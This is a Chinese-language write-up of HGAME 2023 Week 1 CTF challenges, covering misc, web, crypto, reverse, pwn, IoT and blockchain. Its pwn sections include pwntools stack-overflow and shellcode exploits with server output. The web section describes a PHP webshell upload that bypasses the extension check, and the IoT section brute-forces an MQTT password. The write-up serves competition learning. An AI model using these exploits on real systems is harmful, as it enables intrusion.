

# HGAME Week-1 WriteUp

---

## Misc

### Sign In

题目

欢迎参加HGAME2023，Base64解码这段Flag，然后和兔兔一起开始你的HGAME之旅吧，祝你玩的愉快！

aGdhbwV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

Base64解码

浏览器控制台执行`atob("aGdhbwV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==")`即可

```
| hgame{Welcome_To_HGAME2023!}
```

### Where am I

题目

兔兔回家之前去了一个神秘的地方，并拍了张照上传到网盘，你知道他去了哪里吗？

flag格式为：`hgame{经度时_经度分_经度秒_东经(E)/西经(W)_纬度时_纬度分_纬度秒_南纬(S)/北纬(N)}`，秒精确到小数点后两位

例如：`11°22'33.99''E, 44°55'11.00''S` 表示为 `hgame{11_22_3399_E_44_55_1100_S}`

下载附件，用Wireshark打开，发现有SSH流量和HTTP流量，没有密钥，提取HTTP流量中通过upload.php上传的fake.rar，用WinRAR打开提示文件头校验错误，并有密码，猜测未加密，将第24字节中的24修改为20，解压后得到一张图片，使用CyberChef中的Extract EXIF得到经纬度为

```
GPSLatitudeRef: N  
GPSLatitude: 39.91505  
GPSLongitudeRef: E  
GPSLongitude: 116.40413333333333
```

转换为分秒

```
>>> 39.91505  
39.91505  
>>> 0.91505*60  
54.903  
>>> 0.903*60  
54.18  
>>> 116.40413333333333
```

```
116.4041333333333  
>>> 0.4041333333333*60  
24.24799999999802  
>>> 0.24799999999802*60  
14.87999999988119
```

得到经纬度为 $116^{\circ}24'14.88''E, 39^{\circ}54'54.18''N$

```
| hgame{116_24_1488_E_39_54_5418_N}
```

神秘的海报

题目

坐车回到家的兔兔听说ek1ng在HGAME的海报中隐藏了一个秘密.....（还记得我们的Misc培训吗？

下载附件，jpg格式，Stegsolve打开，提取LSB数据

```
Sure enough, you still remember what we talked about at that time! This is part of the secret: `hgame{U_Kn0w LSB&W`  
I put the rest of the content here, https://drive.google.com/file/d/13kBoS3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing, if you directly access the google drive cloud disk download in China, it will be very slow, you can try to use Scientific Internet access solves the problem of slow or inaccessible access to external network resources. This is my favorite music, there is another part of the secret in the music, I use Steghide to encrypt, the password is also the 6-digit password we agreed at the time, even if someone else finds out here, it should not be so easy to crack (( hope so
```

得到一部分hgame{U\_Kn0w LSB&W，下载文件得到一段音乐，根据提示使用Steghide，试了123456，提取出来第二部分av^Mp3\_Stego}

```
| hgame{U_Kn0w LSB&Wav^Mp3_Stego}
```

e99p1ant\_want\_girlfriend

题目

兔兔在抢票网站上看到了一则相亲广告，人还有点小帅，但这个图片似乎有点问题，好像是CRC校验不太正确？

下载附件，png文件，用tweakpng打开，提示IHDR部分CRC校验错误，将高度改大，查看图片得到flag

```
| hgame{e99p1ant_want_a_girlfriend_qq_524306184}
```

Web

## Classic Childhood Game

### 题目

兔兔最近迷上了一个纯前端实现的网页小游戏，但是好像有点难玩，快帮兔兔通关游戏！

打开是个游戏，查看源，发现有一些JS，在Events.js中有个mota()函数，在魔物首领古顿结局处发现调用，直接在控制台运行函数得到flag

```
| hgame{fUnnyJavascript&FunnyM0taG4me}
```

## Become A Member

### 题目

学校通知放寒假啦，兔兔兴高采烈的打算购买回家的车票，这时兔兔发现成为购票网站的会员账户可以省下一笔money.....

想成为会员也很简单，只需要一点点HTTP的知识.....等下，HTTP是什么，可以吃吗

打开题目，提示需要身份证明Cute-Bunny，这里表述不清楚，尝试了Authorization、User-Agent、Cookie均无法通过，咨询出题人后得知需要在User-Agent中仅传递Cute-Bunny才能通过，接着是code，在服务器返回的内容里可以看到Cookie一直被设置为code=guest，传入code=Vidar即可，需要来自bunnybunnybunny.com，设置Referer即可，需要本地请求，设置X-Forwarded-For为localhost失败，127.0.0.1成功，username:luckytoday password:happy123（请以json请求方式登陆），看到后尝试使用POST，application/json，使用body提交，但是显示404，再看一下描述，尝试使用JSON方法发送请求，还是404，只有使用GET方式才是200，尝试了一下使用GET方式，用application/json类型，用Body提交才通过，在标准HTTP请求中，使用GET方法传递的请求，默认不接受body部分

```
| hgame{H0w_ArE_Y0u_T0day?}
```

## Guess Who I Am

### 题目

刚加入Vidar的兔兔还不清协会成员唉，学长要求的答对100次问题可太难了，你能帮兔兔写个脚本答题吗？

打开题目，显示了一个问题和分数，要输入ID，随便输入提示错误，在vidar网站中有成员介绍，做了几题发现题目和介绍完全一样，提取js里的介绍部分，用易语言处理一下，做成自动回答

.版本 2

.程序集 窗口程序集\_启动窗口

- .子程序 \_按钮1\_被单击
- .局部变量 a，文本型，，"0"
- .局部变量 b，文本型，，"0"
- .局部变量 c，文本型

.局部变量 **i**, 整数型  
.局部变量 **cookie**, 文本型

```
cookie = "session=MTY3MzE2Mzk1OXxEdi1CQkFFQ180SUFBUkFCRUFQBQLUNBQU1HYz
NSeWFVNW5EQTBBQzJ0b11XeHNaVzVuWlVsa0EybHVkQVFQUNRR2MzUn1hVzVuREFnQUJuTnZ
iSFpsWkFOcGJuUUVBd0RfakE9PXy1zXHDEaDdvYwSb2NRtRhoWiLPGhfgUNSB8j0cCFOTIQ=
="

文本_取中间_批量 (编码_usc2到ansi (编辑框1.内容), "intro: " + #引号, #引号,
a, , , , , , )

文本_取中间_批量 (编码_usc2到ansi (编辑框1.内容), "id: " + #引号, #引号, b,
, , , , , )

输出调试文本 (a [1], b [1])

.计次循环首 (200, )
    输出调试文本 (cookie)

    c = 文本_取出中间文本 (编码_usc2到ansi (编码_Utf8到Ansi (网页_访问 ("http://week-1.hgame.lwsec.cn:30156/api/getQuestion", , , cookie, , , , ,
, 真, , , ))), "message" + #引号 + ":" + #引号, #引号, , )

    输出调试文本 (cookie)
    输出调试文本 (c)

    i = 0

    .计次循环首 (取数组成员数 (a), i)
        .如果真 (a [i] = c)
            输出调试文本 (cookie)
            输出调试文本 (编码_Utf8到Ansi (网页_访问 ("http://week-1.hgame.lwsec.cn:30156/api/verifyAnswer", 1, "id=" + b [i], cookie, cookie, , ,
, , 真, , , )))
            输出调试文本 (cookie)
        .如果真结束

    .计次循环尾 ()
    输出调试文本 (cookie)
    输出调试文本 (编码_Utf8到Ansi (网页_访问 ("http://week-1.hgame.lwsec.cn:30156/api/getScore", , , cookie, , , , , 假, , , )))
    输出调试文本 (cookie)

.计次循环尾 ()
```

答对100道得到flag

hgame{Guess\_who\_i\_am^Happy\_Crawler}

Show Me Your Beauty

题目

登陆了之前获取的会员账号之后，兔兔想找一张自己的可爱照片，上传到个人信息的头像中

:D

不过好像可以上传些奇怪后缀名的文件诶 XD

打开题目，点击头像上传，传test.php前端提示扩展名不符合，控制台修改上传函数，去掉扩展名验证，后端提示扩展名不符合，用大小写绕过test.php成功上传，拿shell找flag，在根目录读flag

```
| hgame{Unsave_F1L5_SYS7em_UPLOad!}
```

## Crypto

### 兔兔的车票

#### 题目

兔兔刚买到车票就把车票丢到一旁，自己忙去了。结果再去找车票时发现原来的车票混在了其他东西里，而且票面还被污染了。你能帮兔兔找到它的车票吗。

注：flag.png已经提前保存在source文件夹下，并且命名为picture{x}.png

根据代码可以看到生成图片然后进行异或，key有3个，每个都是全随机的图片，原图片有15个，由于makeImg中getrandbits后使用zfill填充0，导致图片并不是完全随机，不完全随机的图片和一个flag图片，由于key是全随机，异或后看不到原图，而将flag图片与同key异或后的其他原图进行异或，就可以将key去掉，变成flag图片与原图异或，生成遮罩图片，图片虽被打乱但并不是完全看不到，更像是图片上被套了一层蒙版，将图片进行异或

```
>>> from PIL import Image
>>> width=379
>>> height=234
>>> def xorImg(keyImg, sourceImg):
...     img = Image.new('RGB', (width, height))
...     for i in range(height):
...         for j in range(width):
...             p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j,
... i))
...             img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in rang
e(3)]))
...     return img
...
>>> key=Image.open('enc0.png')
>>> for i in range(15):
...     im=Image.open('enc'+str(i+1)+'.png')
...     x=xorImg(key,im)
...     x.save('0-'+str(i+1)+'.png')
...
>>> key=Image.open('enc1.png')
>>> for i in range(14):
...     im=Image.open('enc'+str(i+2)+'.png')
...     x=xorImg(key,im)
...     x.save('1-'+str(i+2)+'.png')
...
>>>
```

发现flag图片，得到flag

## hgame{Oh\_my\_Ticket}

RSA

## 题目

众所周知，RSA的安全性基于整数分解难题。

下载附件，给了 $e$ ,  $n$ ,  $c$ , factordb分解 $n$ , 得到 $p$ ,  $q$ , 计算 $\phi(n)$ 和 $d$ , 解密 $c$ 得到 $m$

hgame{factordb.com\_is\_strong!}

Be Stream

题目

很喜欢李小龙先生的一句话"Be water my friend", 但是这条小溪的水好像太多了。

附件改为百度网盘下载：<https://pan.baidu.com/s/1Wv1JUPgAPGsIBAa7ZJcxtg>

提取码: ik9z

查看代码，计算water并与enc异或后得到flag，换位后直接跑需要很久，查看stream函数发现和fibonacci很像，将water和my friend转化为数字，water处对256进行了取余，查看stream(0)和stream(1)取余后，发现可以将大数化简，取余后结果不变，化简后查看从stream(0)到stream(64)的结果，但速度太慢，出来30+时转换为二进制查看，找到规律

```
0
10 10 10
0111 0111 0111
0010 0010 0010
10011100 10011100 10011100
1111010110100000 1111010110100000
11010111001110011000001001101100 11010111001110011000001001101100
```

推测超过64的和前面相同，于是使用已有的结果计算前64个

```
>>> L=[114,100]
>>> for i in range(64):
...     L.append(L[i]*7+L[i+1]*4)
...
>>> L
[114, 100, 1198, 5492, 30354, 159860, 851918, 4526692, 24070194, 12796762
0, 680361838, 3617220692, 19231415634, 102246207380, 543604738958, 289014
2407492, 15365802802674, 81694208063140, 434337451871278, 230920926392709
2, 12277199218807314, 65273261722718900, 347033441422526798, 184504659774
9139492, 9809420480954245554, 52153008108060958660, 277277975798923553518
, 1474182959952120924692, 7837677670400948573394, 41669991401268640766420
, 221543709297881203079438, 1177864777000405297682692, 626226507308678961
2286834, 33294113731349995532926180, 177012310437007509417712558, 9411080
37867480006401333492, 5003518324528972591529321874, 266018295631882504109
26621940, 141431946524455809784411740878, 751940593040140992014133317092,
3997785997831754636547415454514, 21254728142608005490288595037700, 113003
414555254304416986288332398, 600796755219273256099965318593492, 319421092
2763873155318765292700754, 16982420977590405413974818400957460, 902891603
69708733743130630652735118, 480033588321967772870346251417642692, 2552158
475875832227683299420239716594, 13568869021757103320825621440882365220, 7
2140585418159238877085581705207477038, 3835444248249366787541216769070064
64692, 2039161797226861387156085779564478198034, 108414581626820022999031
94856606958044980, 57639965231316038909705379883379179566158, 30645006806
4038171738143883529765424579492, 1629280028875364959320513193302715955281
074, 8662270591949727039449059957919221793180740, 46054042569926462873039
832184795898859690478, 244852064423353940768302748444618147991027092, 130
1786555682901003184489819072043883981941714, 6921110673695081598116078515
400502571864956500, 36796948584560633414755742795106317475333417998, 1956
35569054108104845835520788228787904388367492, 104012091630835685328663228
2718659373944887395954, 552993264861218414706737776392239011110268156260
]
```

取余得到

```
[114, 100, 174, 116, 146, 116, 206, 100, 50, 132, 110, 84, 82, 148, 142, 68, 242, 164, 46, 52, 18, 180, 78, 36, 178, 196, 238, 20, 210, 212, 14, 4 , 114, 228, 174, 244, 146, 244, 206, 228, 50, 4, 110, 212, 82, 20, 142, 1 96, 242, 36, 46, 180, 18, 52, 78, 164, 178, 68, 238, 148, 210, 84, 14, 13 2]
```

放入key并修改stream

```
>>> key=[114, 100, 174, 116, 146, 116, 206, 100, 50, 132, 110, 84, 82, 14
8, 142, 68, 242, 164, 46, 52, 18, 180, 78, 36, 178, 196, 238, 20, 210, 21
2, 14, 4, 114, 228, 174, 244, 146, 244, 206, 228, 50, 4, 110, 212, 82, 20
, 142, 196, 242, 36, 46, 180, 18, 52, 78, 164, 178, 68, 238, 148, 210, 84
, 14, 132]
>>> enc = b'\x1a\x15\x05\t\x17\t\xf5\xab-\x06\xec\xed\x01-\xc7\xcc2\x1eXA
\x1c\x157[\x06\x13/-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1b
Y'
>>> for i in range(len(enc)):
...     water=key[((i//2)**6)%64]
...     flag += bytes([water ^ enc[i]])
...
...
```

hgame{1f\_this\_ch@l|eng3\_take\_y0u\_to0\_long\_time?}

## 神秘的电话

题目

学校突然放假了，trouble正在开开心心的收拾东西准备回家，但是手机铃声突然响起，trouble接起电话，但是只听到滴答滴答的声音。努力学习密码学的trouble一听就知道这是什么，于是马上记录下来并花了亿点时间成功破译了，但是怎么看这都不像是人能看懂的，还没等trouble反应过来，又一通电话打来，依然是滴答滴答的声音。trouble想到兔兔也在学习密码学，于是不负责任地把密文都交给了兔兔，兔兔收到密文后随便看了一眼就不屑地说“这么简单都不会？自己解去，别耽误我抢车票”。

`flag`为最后得到的结果套上`hgame{}`，`flag`中字母均为小写

音频，au打开看到morse，提取

morse解密得

0223E\_PRIIBLY\_\_HONWA\_JMGH\_FGKCQAOQTMFR

查看文档，Base64解密，反转后得

RFMTQOAQCKGF\_HGMJ\_AWNOH\_\_YLBIIRP\_E3220

W型栅栏18栏

RMOCFHM\_WO\_YBIPE2023\_RIL\_HNAJG\_KATFQQG

猜测WELCOME TO HGAME2023，ROT13爆破没出，换vigenere，爆破密钥得到VIDAR，解密转小写得flag

```
| hgame{welcome_to_hgame2023_and_enjoy_hacking}
```

Reverse

test your IDA

题目

签到，附件到群里下载吧，链接不好使了

记事本打开得flag

```
| hgame{te5t_y0ur_IDA}
```

easyasm

题目

非常简单的汇编

查看代码，逐字节异或，得到结果

```
>>> a=[0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x  
6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]  
>>> for i in a:  
...   print(chr(i^0x33),end='')  
...  
hgame{welc0me_t0_re_wor1d!}
```

```
| hgame{welc0me_t0_re_wor1d!}
```

easyenc

## 题目

easyenc

IDA打开，反编译查看代码，将输入与0x32异或并减86，和结果对比，提取数据逆向运算得到flag

```
>>> a=[ 0x04, 0xFF, 0xFD, 0x09, 0x01, 0xF3, 0xB0, 0x00, 0x00, 0x05, 0xF0,
0xAD, 0x07, 0x06, 0x17, 0x05, 0xEB, 0x17, 0xFD, 0x17, 0xEA, 0x01, 0xEE, 0x01
, 0xEA, 0xB1, 0x05, 0xFA, 0x08, 0x01, 0x17, 0xAC, 0xEC, 0x01, 0xEA, 0xFD, 0x
F0, 0x05, 0x07, 0x06, -7]
>>> for i in a:
...   print(chr(((i+86)%256)^0x32),end=' ')
...
hgame{4ddition_is_a_rever5ible_Operation}
```

```
| hgame{4ddition_is_a_rever5ible_Operation}
```

a\_cup\_of\_tea

## 题目

兔兔的家人都爱喝茶，所以兔兔带了些茶叶回去

题目附件更新，请勿点下面附件链接下载：<https://share.weiyun.com/ZZZFiebW>

IDA打开，查看加密函数为变异tea加密，并对内容进行多次加密，每次加密内容不同，提取k, v, delta，找到tea解密脚本做修改

```
#include <stdio.h>
#include <stdint.h>

//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0x79bde460, i; /* set up */
    uint32_t delta=0x543210DD; /* a key schedule const */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
    for (i=0; i<32; i++) { /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum += delta;
    } /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main()
```

```

{
    uint32_t v[8]={0x2E63829D,0xC14E400F,0x9B39BFB9,0x5A1F8B14,0x61886DDE
    ,0x6565C6CF,0x9F064F64,0x236A43F6},k[4]={0x12345678,0x23456789,0x34567890
    ,0x45678901};

    decrypt(v, k);
    decrypt(v+2,k);
    decrypt(v+4,k);
    decrypt(v+6,k);
    printf("%u %u %u %u %u %u %u",v[0],v[1],v[2],v[3],v[4],v[5],v[6],v
    [7]);
    return 0;
}

```

```

>>> a="1835100008 1700035429 892428129 1985950815 1601794611 828453736 16
01792116 1852600932".split(' ')
>>> a=list(map(int,a))
>>> for i in a:
...   print(int.to_bytes(i,4,'little').decode(),end=' ')
...
hgame{Tea_15_4_v3ry_h3a1thy_drln

```

在IDA中找到剩下的部分，得到flag

```
| hgame{Tea_15_4_v3ry_h3a1thy_drln}
```

encode

题目

兔兔把自己行李箱的密码用一种编码写在了纸条上，但他忘了怎么解密，你能帮帮他吗？

IDA打开，反编译查看代码，发现将输入的每个字节的高低位互换并进行对比，提取对比内容并还原得到flag

```

>>> a=[0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x07, 0x00,
...   0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
...   0x06, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x06, 0x00,
...   0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
...   0x0B, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x05, 0x00,
...   0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00,
...   0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x06, 0x00,
...   0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
...   0x04, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00,
...   0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
...   0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00,
...   0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,

```

```
...    0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x05, 0x00,
...    0x00, 0x00, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
...    0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00,
...    0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
...    0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x06, 0x00,
...    0x00, 0x00, 0x06, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
...    0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x07, 0x00,
...    0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
...    0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00,
...    0x00, 0x00, 0x05, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
...    0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x06, 0x00,
...    0x00, 0x00, 0x06, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
...    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x02, 0x00,
...    0x00, 0x00, 0x07, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
...    0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x06, 0x00,
...    0x00, 0x00, 0x0F, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00,
...    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x0E, 0x00,
...    0x00, 0x00, 0x06, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
...    0x06, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x06, 0x00,
...    0x00, 0x00, 0x0E, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00,
...    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x05, 0x00,
...    0x00, 0x00, 0x06, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
...    0x07, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x07, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
...    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
>>> for i in range(0,100,2):
...     print(chr(a[(i+1)*4]*16+a[i*4]),end=' ')
...
hgame{encode_is_easy_for_a_reverse_engineer}
```

```
| hgame{encode_is_easy_for_a_reverse_engineer}
```

## Pwn

```
test_nc
```

```
nc连接后cat flag
```

```
| hgame{9141d675824f4084f6a0a5fe2a2916155c3fd2a7}
```

```
easy_overflow
```

IDA打开，发现读入长度超过变量长度，利用栈溢出漏洞，覆盖返回地址得到shell，由于关闭了stdout，不能直接cat输出flag，使用sh报错输出得到flag

```
>>> p=remote('week-1.hgame.lwsec.cn',32160)
[x] Opening connection to week-1.hgame.lwsec.cn on port 32160
[x] Opening connection to week-1.hgame.lwsec.cn on port 32160: Trying 10
1.37.12.59
[+] Opening connection to week-1.hgame.lwsec.cn on port 32160: Done
>>> p.sendline(b'a'*(16+8)+p64(0x401176))
>>> p.sendline(b'$(cat flag)')
>>> p.recv()
b'/bin/sh: 1: hgame{bd0a9da67ebbfac2fb3f411799c15b081f9dd40c}: not found
\n'
>>>
```

```
| hgame{bd0a9da67ebbfac2fb3f411799c15b081f9dd40c}
```

### simple\_shellcode

IDA打开，看到可以输入shellcode，而且会执行shellcode，但是限制了长度，试了试nop;ret汇编后写进去可以正常执行nop而且可以返回到main，看了看寄存器，0xcafe0000保存在rdx中，拿flag需要输入更长的shellcode并且执行，可以构造一个read，但是read(0,0xcafe0000,0x100)又超出长度，故改用rdx寄存器，构造read(0,rdx,0x100)，成功执行，接着按照orw的方法，打开flag，读入到一个固定地址，写出来，空出来read的偏移，拿到flag

```
>>> shellcode=asm(shellcraft.amd64.read(0,'rdx',0x100),arch='amd64')
>>> open_opcode=asm(shellcraft.amd64.open('flag'),arch='amd64')
>>> read_opcode=asm(shellcraft.amd64.read(3,'rsp',0x30),arch='amd64')
>>> write_opcode=asm(shellcraft.amd64.write(1,'rsp',0x30),arch='amd64')
>>> p=remote('week-1.hgame.lwsec.cn',31126)
[x] Opening connection to week-1.hgame.lwsec.cn on port 31126
[x] Opening connection to week-1.hgame.lwsec.cn on port 31126: Trying 10
1.37.12.59
[+] Opening connection to week-1.hgame.lwsec.cn on port 31126: Done
>>> p.recv()
b'Please input your shellcode:\n'
>>> p.sendline(shellcode)
>>> p.sendline(b'\x90'*len(shellcode)+open_opcode+read_opcode+write_opcode)
>>> p.recv()
b'hgame{47948b725c168e853f0d204e0d6111d540fb6c79}\n'
```

```
| hgame{47948b725c168e853f0d204e0d6111d540fb6c79}
```

### IoT

Help the uncle who can't jump twice

题目

兔兔在车站门口看到一张塑料凳子，上边坐着一个自称V的男人。他希望你能帮他登上他的大号 Vergil 去那边的公告栏上康康Nero手上的YAMATO怎么样了  
broker:117.50.177.240:1883

broker和1883可知的mqtt，使用mqtt客户端连接，发现有密码，附件是密码字典，使用mqtt-pwn爆破Vergil的密码，得到密码为power，用客户端连接并加入Nero/YAMATO，得到flag

```
| hgame{mqtt_1s_p0w3r}
```

Help marvin

题目

兔兔发现售票的marvin只会吐出三个白头 决定去修一修marvin(-30)

下载附件，是sr文件，十六进制编辑器打开发现是压缩包，提取metadata文件得知是sigrok文件，下载PulseView打开，搜索得知有多种解码器，根据题目提示选择SPI解码，根据SPI三线得知需要 CLK, CS, MISO/MOSI，SPI时钟由主机控制，不是固定间隔，故将D0作为时钟，D1间隔固定且变化规律，作为CS，D2和D0相似，但间隔比D0长，故猜测D2为数据传输，作为MISO，解码得到 4game{4\_5t4nge\_Sp1}，将4替换为h得到flag

```
| hgame{4_5t4nge_Sp1}
```

Blockchain

Checkin

题目

题目中给出了三个端口，分别是 RPC、水龙头、题目交互端。

由于靶机端口随机，需要选手自行尝试。

其中，浏览器可直接访问的是水龙头，浏览器直接访问报 403 的是 RPC，浏览器无法访问的是题目交互端，需使用 nc 连接。

连接交互端，查看题目，需要使合约的isSolve()烦恼和true，查看代码，需要调用 setGreeting("HelloHGAME!")，先创建一个部署账户，用水龙头转账1 ETH，部署合约后，使用MetaMask和Remix加载合约并指定地址，直接调用setGreeting失败，抓包查看 eth\_getBlockByNumber 和 eth\_sendTransaction 接口被禁用，但是 eth\_sendRawTransaction 没有被禁用，咨询出题人得知部分接口被禁用了，浏览器使用web3.js进行signTransaction时报错，便使用python做题，抓包将调用函数的数据保存，使用python签名并发送，得到flag

```
>>> from pwn import *
>>> from web3 import Web3
>>> w3=Web3(Web3.HTTPProvider('http://week-1.hgame.lwsec.cn:30370'))
...
>>> w3.isConnected()
True
>>> account=w3.eth.account.from_key(0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)
```

```

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)

>>> account.address
'0x7B9C1dBFBc6758116080acF02bEec36F7F7B3963'
>>> p=remote('week-1.hgame.lwsec.cn',30824)
[x] Opening connection to week-1.hgame.lwsec.cn on port 30824
[x] Opening connection to week-1.hgame.lwsec.cn on port 30824: Trying 10
1.37.12.59
[+] Opening connection to week-1.hgame.lwsec.cn on port 30824: Done
>>> p.recv()
b'We design a pretty easy contract challenge. Enjoy it!\nYour goal is to
make isSolved() function returns true!\n\n[1] - Create an account which
will be used to deploy the challenge contract\n[2] - Deploy the challeng
e contract using your generated account\n[3] - Get your flag once you mee
t the requirement\n[4] - Show the contract source code\n[-] input your ch
oice: '
>>> p.sendline(b'1')
>>> p.recv()
b'[+] deployer account: 0x970B62EC88725573Fdd7c44e97506BAbF5AF9cd6\n[+] t
oken: v4.local.qx6on4cvM0L6X1N8Y9D0TWahtDp5wCwkaawbaY0hfs-ymJCX8yfoR1N2LH
ZtKb2Irov1EXNrQ-Qrxkt6CzmTzwLXvt47DfcjmHJeMjJ7MAGTcYo4s_n6-AMODe7T6hko3Vt
z_1ADJhuqdGtQHhVAd16pF_3i5rynn3z1wd-NUF8rtA\n[+] please transfer 0.001 te
st ether to the deployer account for next step\n'
>>> token='v4.local.qx6on4cvM0L6X1N8Y9D0TWahtDp5wCwkaawbaY0hfs-ymJCX8yfoR
1N2LHZtKb2Irov1EXNrQ-Qrxkt6CzmTzwLXvt47DfcjmHJeMjJ7MAGTcYo4s_n6-AMODe7T6h
ko3Vtz_1ADJhuqdGtQHhVAd16pF_3i5rynn3z1wd-NUF8rtA'
>>> p.close()
[*] Closed connection to week-1.hgame.lwsec.cn port 30824
>>> w3.eth.estimate_gas({'from':account.address,'to':'0x970B62EC88725573F
dd7c44e97506BAbF5AF9cd6','value':w3.eth.toWei(0.001,'ether')})
21000
>>> signed=account.sign_transaction({'from':account.address,'to':'0x970B6
2EC88725573Fdd7c44e97506BAbF5AF9cd6','value':w3.eth.toWei(0.001,'ether'),
'nonce':0,'gas':21000,'gasPrice':10000000000000,'chainId':w3.eth.chainI
d})
>>> hash=w3.eth.send_raw_transaction(signed.rawTransaction)
>>> w3.eth.get_transaction(hash)
AttributeDict({'blockHash': HexBytes('0x0c57abb33d4b978c4b7c31423774af0d0
4dbab5a2e2078406de8f807fda077c6'), 'blockNumber': 441, 'from': '0x7B9C1dB
FBc6758116080acF02bEec36F7F7B3963', 'gas': 21000, 'gasPrice': 10000000000
000, 'hash': HexBytes('0xa877344b8cb027abef3910109c1bba3e138d9fb69d85f8be
af2b7b75378f3b4c'), 'input': '0x', 'nonce': 0, 'to': '0x970B62EC88725573F
dd7c44e97506BAbF5AF9cd6', 'transactionIndex': 0, 'value': 1000000000000000
000, 'type': '0x0', 'v': 127044, 'r': HexBytes('0xb7bf8c6b81708ff06539862
ca92dbfc01c14bee63ad2f4081e66691ccc19eb5c'), 's': HexBytes('0x7077898a970
7ff3ea008ca961c0d5f4594c3ef6f70ef9f51b99f30eb0e8cdbe6'))}
>>> p=remote('week-1.hgame.lwsec.cn',30824)

```



```
[x] Opening connection to week-1.hgame.lwsec.cn on port 30824
[x] Opening connection to week-1.hgame.lwsec.cn on port 30824: Trying 10
1.37.12.59
[+] Opening connection to week-1.hgame.lwsec.cn on port 30824: Done
>>> p.recv()
b'We design a pretty easy contract challenge. Enjoy it!\nYour goal is to
make isSolved() function returns true!\n\n[1] - Create an account which
will be used to deploy the challenge contract\n[2] - Deploy the challeng
e contract using your generated account\n[3] - Get your flag once you mee
t the requirement\n[4] - Show the contract source code\n[-] input your ch
oice: '
>>> p.sendline(b'3')
>>> p.recv()
b'[-] input your token: '
>>> p.sendline(token.encode())
>>> p.recv()
b'[+] flag: hgame{1783bda4e3970d126efb665d15f1ed9a89729e48}\n'
>>>
```

```
| hgame{1783bda4e3970d126efb665d15f1ed9a89729e48}
```